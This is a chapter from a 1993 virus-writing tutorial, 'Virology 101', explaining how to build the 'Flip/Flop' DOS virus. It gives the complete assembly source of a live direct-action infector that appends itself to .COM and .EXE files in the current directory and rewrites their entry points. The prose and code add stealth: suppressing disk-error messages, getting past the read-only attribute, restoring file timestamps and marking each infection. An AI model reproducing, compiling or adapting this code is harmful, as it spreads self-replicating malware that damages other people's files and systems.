Combined Viruses
        Now that we have learned how to infect both COM and EXE
    files, it's time to look at some of the "details" that we
    haven't covered.  Three main problems are apparent in the last
    two viruses that we need to fix.  The first is that there is
    little or no error handling in the viruses.  This can cause that
    wonderful "Disk Error. Abort, Retry, or Fail?" message to appear
    on a write protected disk, which is generally not desirable.  The
    next problem is that both viruses can be stopped by the read-only
    attribute.  This is not true with most viruses, nor should it be
    with ours.  The last is the time/date stamp.  When a file is
    written to and closed, DOS automatically sets the time and date
    fields to whenever it was closed, causing the new host to have a
    current time stamp.  To avoid this, we must get the old stamp and
    reset it once we are done with the infection (just before closing
    the file).  The next virus will still be direct-action, but it
    will employ all the above techniques and have the ability to
    infect both EXE and COM files.  It will still remain in the
    current directory to make it safer to test, but aside from that
    it will be a fairly effective direct-action virus.  The big
    things to notice are the methods to make as much of the code
    as possible usable for both .COM and .EXE infections, the
    error handler, and the attribue/time/date fixes.  The virus
    is name the Flip/Flop because if it is attached to a COM
    file, it will only infect EXE files, whereas if it is
    attached to an EXE file it will only infect COM files.
    ;                     The Flip/Flop virus.
    ;
    ;This file is a direct action .COM/.EXE file infector written
    ;in TASM compatible 8086 assembly.  It is presented as a part of
    ;VIROLOGY 101 (c) 1993 Black Wolf Enterprises. This is a live virus
    ;for educational purposes only. Please do not release it.  Execute
    ;only on an isolated machine under controlled conditions.
    ;This virus also needs a four-byte stub to be attached to it after
    ;compilation.  NOP's will work fine.
    ;One interesting characteristic of this virus is that if it is on
    ;an EXE file, it will infect .COM files, but if it is on a COM
    ;file, it will only search for EXE's.  It will infect each
    ;uninfected file of whichever type chosen in the current directory
    ;on runtime.
    .model tiny
    .radix 16
    .code
            org 100
    start:
    COM_ENTRY:
            call    get_offset
            lea     si,[bp+storage_bytes]   ;Restore original bytes to
            mov     di,100                  ;host.
            movsw
            movsw
            mov     byte ptr [COM_EXE+bp],0 ;Remember host is COM file.
            jmp     short Main_Virus        ;Go to main virus.
    Enter_EXE:
            push    es              ;Save current ES (and DS) registers
            push    cs cs
            pop     es ds           ;Set ES = DS = CS
            call    get_offset
            lea     si,[Old_IP+bp]
            lea     di,[Save_IP+bp] ;Setup old variables for infection
            movsw
            movsw
            movsw
            movsw
            mov     byte ptr [COM_EXE+bp],1 ;Remember host is EXE file.
    Main_Virus:
            call    Set_Handler
            lea     dx,[DTA+bp]             ;Set DTA to new address
            call    Set_DTA
            cmp     byte ptr [COM_EXE+bp],1 ;If virus is on an .EXE,
            jne     Find_EXE                ;infect COM files and
                                            ;vice-versa
    Find_COM:
            lea     dx,[Com_mask+bp] ;Find a .COM file
            jmp     Find_First
    Find_Exe:
            lea     dx,[Exe_mask+bp]
    Find_First:
            mov     ah,4e
            xor     cx,cx
         Find_File:
            int     21
            jc      Outa_Files
            xor     ah,ah                    ;Get attributes into CX
            lea     dx,[DTA+1e+bp]
            call    do_attribs
            mov     word ptr [bp+attribs],cx ;Save attribs
            xor     cx,cx
            mov     al,1
            call    do_attribs               ;Set attribs to normal
            mov     ax,3d02                  ;Open file read/write
            lea     dx,[bp+DTA+1e]
            int     21
            jc      Outa_Files
            xchg    bx,ax
            mov     al,0                     ;Get and save time stamp
            call    Do_Time
            mov     word ptr [bp+Time],cx
            mov     word ptr [bp+Date],dx
            mov     ah,3f
            mov     cx,1a                   ;Read beginning of file
            lea     dx,[exe_header+bp]      ;(header if .EXE)
            int     21
            jc      Close_UP
            call    Check_Infected          ;Is it infected?
            jc      Close_Up
            cmp     word ptr [exe_header+bp],'ZM'   ;Is EXE?
            je      Infect_EXE                      ;go Infect EXE
            cmp     word ptr [exe_header+bp],'MZ'
            je      Infect_EXE
    Infect_Com:
            call    Do_Com                          ;Infect COM file
            jmp     short Close_Up
    Infect_Exe:
            call    Do_Exe                          ;Infect EXE
    Close_Up:
            mov     al,01                   ;Reset time stamp
            mov     cx,word ptr [bp+Time]
            mov     dx,word ptr [bp+Date]
            call    Do_Time
            mov     ah,3e                   ;Close file
            int     21
            mov     al,01                   ;Reset Attributes
            mov     cx,word ptr [bp+attribs]
            lea     dx,[DTA+1e+bp]
            call    Do_Attribs
            mov     ah,4f             ;Find another file to infect...
            jmp     Find_File
    Outa_Files:
            call    Reset_Handler           ;Chose appropriate restore
            cmp     byte ptr [COM_EXE+bp],1 ;algorithm
            je      Restore_EXE
    Restore_COM:
            mov     dx,80
            call    Set_DTA                 ;Reset DTA
            mov     di,100                  ;jump 100
            push    di
            ret
    Restore_EXE:
            pop     es                      ;Restore seg registers
            push    es
            pop     ds
            mov     dx,80                   ;Reset DTA
            call    Set_DTA
            mov     ax,es
            add     ax,10
            add     word ptr cs:[Save_CS+bp],ax
            add     ax,word ptr cs:[Save_SS+bp]     ;Set SS:SP
                                                    ;and go CS:IP
            cli
            mov     ss,ax
            mov     sp,word ptr cs:[Save_SP+bp]
            sti
            db      0ea     ;Far jump to CS:IP
    Save_IP dw      0
    Save_CS dw      0
    Save_SS dw      0
    Save_SP dw      0
    Old_IP  dw      0
    Old_CS  dw      0fff0
    Old_SS  dw      0fff0
    Old_SP  dw      0
    Set_DTA:
            mov     ah,1a
            int     21
            ret
    Do_attribs:             ;Performs file attribute functions
            mov     ah,43
            int     21
            ret
    Do_Time:                ;Performs time stamp functions
            mov     ah,57
            int     21
            ret
    Get_offset:             ;Get diplacement of virus into BP
            call    next
         next:
            pop     bp
            sub     bp,offset next
            ret
    Do_COM:                                 ;Infect COM file
            lea     si,[exe_header+bp]
            lea     di,[storage_bytes+bp]
            movsw
            movsw
            call    Go_EOF
            sub     ax,3
            mov     word ptr [jump_bytes+1+bp],ax
            call    write_virus
            call    Go_BOF
            mov     ah,40
            lea     dx,[jump_bytes+bp]      ;write in jump
            mov     cx,4
            int     21
            ret
    Do_EXE:
            call    Save_Old_Header
            call    Go_EOF
            push    ax dx
            call    calculate_CSIP
            pop     dx ax
            call    calculate_size
            call    write_virus
            call    Go_BOF
            mov     ah,40
            mov     cx,1a
            lea     dx,[exe_header+bp]      ;Write header
            int     21
            ret
    Go_EOF:                 ;Go to end of file
            mov     ax,4202
            jmp     Move_FP
    Go_BOF:                 ;Go to beginning of file
            mov     ax,4200
    Move_FP:
            xor     cx,cx
            xor     dx,dx
            int     21
            ret
    Write_Virus:
            mov     ah,40
            mov     cx,end_prog-start         ;Append virus to file
            lea     dx,[bp+start]
            int     21
            ret
    Save_Old_Header:
            mov     ax,word ptr [exe_header+bp+0e]    ;Save old SS
            mov     word ptr [Old_SS+bp],ax
            mov     ax,word ptr [exe_header+bp+10]    ;Save old SP
            mov     word ptr [Old_SP+bp],ax
            mov     ax,word ptr [exe_header+bp+14]    ;Save old IP
            mov     word ptr [Old_IP+bp],ax
            mov     ax,word ptr [exe_header+bp+16]    ;Save old CS
            mov     word ptr [Old_CS+bp],ax
            ret
    calculate_CSIP:
            push    ax
            mov     ax,word ptr [exe_header+bp+8]   ;Get header length
            mov     cl,4                            ;and convert it to
            shl     ax,cl                           ;bytes.
            mov     cx,ax
            pop     ax
            sub     ax,cx                           ;Subtract header
            sbb     dx,0                            ;size from file
                                                    ;size for memory
                                                    ;adjustments
            mov     cl,0c                           ;Convert DX into
            shl     dx,cl                           ;segment Address
            mov     cl,4
            push    ax                      ;Change offset (AX) into
            shr     ax,cl                   ;segment, except for last
            add     dx,ax                   ;digit.  Add to DX and
            shl     ax,cl                   ;save DX as new CS, put
            pop     cx                      ;left over into CX and
            sub     cx,ax                   ;store as the new IP.
            add     cx,Enter_EXE-start    ;Adjust to go to EXE_Entry
            mov     word ptr [exe_header+bp+14],cx
            mov     word ptr [exe_header+bp+16],dx  ;Set new CS:IP
            mov     word ptr [exe_header+bp+0e],dx  ;Set new SS = CS
            mov     word ptr [exe_header+bp+10],0fffe ;Set new SP
            mov     byte ptr [exe_header+bp+12],'V' ;mark infection
            ret
    calculate_size:
            push    ax                      ;Save offset for later
            add     ax,end_prog-start      ;Add virus size to DX:AX
            adc     dx,0
            mov     cl,7
            shl     dx,cl                   ;convert DX to pages
            mov     cl,9
            shr     ax,cl
            add     ax,dx
            inc     ax
            mov     word ptr [exe_header+bp+04],ax  ;save # of pages
            pop     ax                              ;Get offset
            mov     dx,ax
            shr     ax,cl                           ;Calc remainder
            shl     ax,cl                           ;in last page
            sub     dx,ax
            mov     word ptr [exe_header+bp+02],dx ;save remainder
            ret
    Set_Handler:
            mov     ax,3524                 ;Get Int 24 address
            int     21                      ;(Critical Error)
            mov     word ptr [IP_24+bp],bx
            mov     word ptr [CS_24+bp],es
            mov     ax,2524                 ;Set Int 24
            lea     dx,[Int_24+bp]
            int     21
            push    ds                      ;Restore ES
            pop     es
            ret
    Reset_Handler:
            mov     dx,word ptr cs:[CS_24+bp]
            mov     ds,dx
            mov     dx, word ptr cs:[IP_24+bp]
            mov     ax,2524                 ;Reset handler to old one
            int     21
            push    es                      ;restore DS.
            pop     ds
            ret
    Int_24:                 ;Return error code in al without
            mov     al,3    ;printing annoying message
            iret
    Check_Infected:
            cmp     byte ptr [exe_header+bp+3],'V' ;check .COM infected
            je      Is_Infected
            cmp     byte ptr [exe_header+bp+12],'V' ;check .EXE
            je      Is_Infected                     ;infected
            clc
            ret
        Is_Infected:
            stc
            ret
    Exe_mask        db      '*.EXE',0
    Com_mask        db      '*.COM',0
    jump_bytes      db      0e9,0,0,'V'     ;jump for COM's with ID
    storage_bytes:          ;Initial storage bytes
            nop
            nop
            int     20
    COM_EXE         db      0               ;0 = COM, 1 = EXE
    end_prog:
    Time            dw      ?
    Date            dw      ?
    attribs         dw      ?
    IP_24           dw      ?
    CS_24           dw      ?
    exe_header      db      1a dup(?)
    DTA:
    end start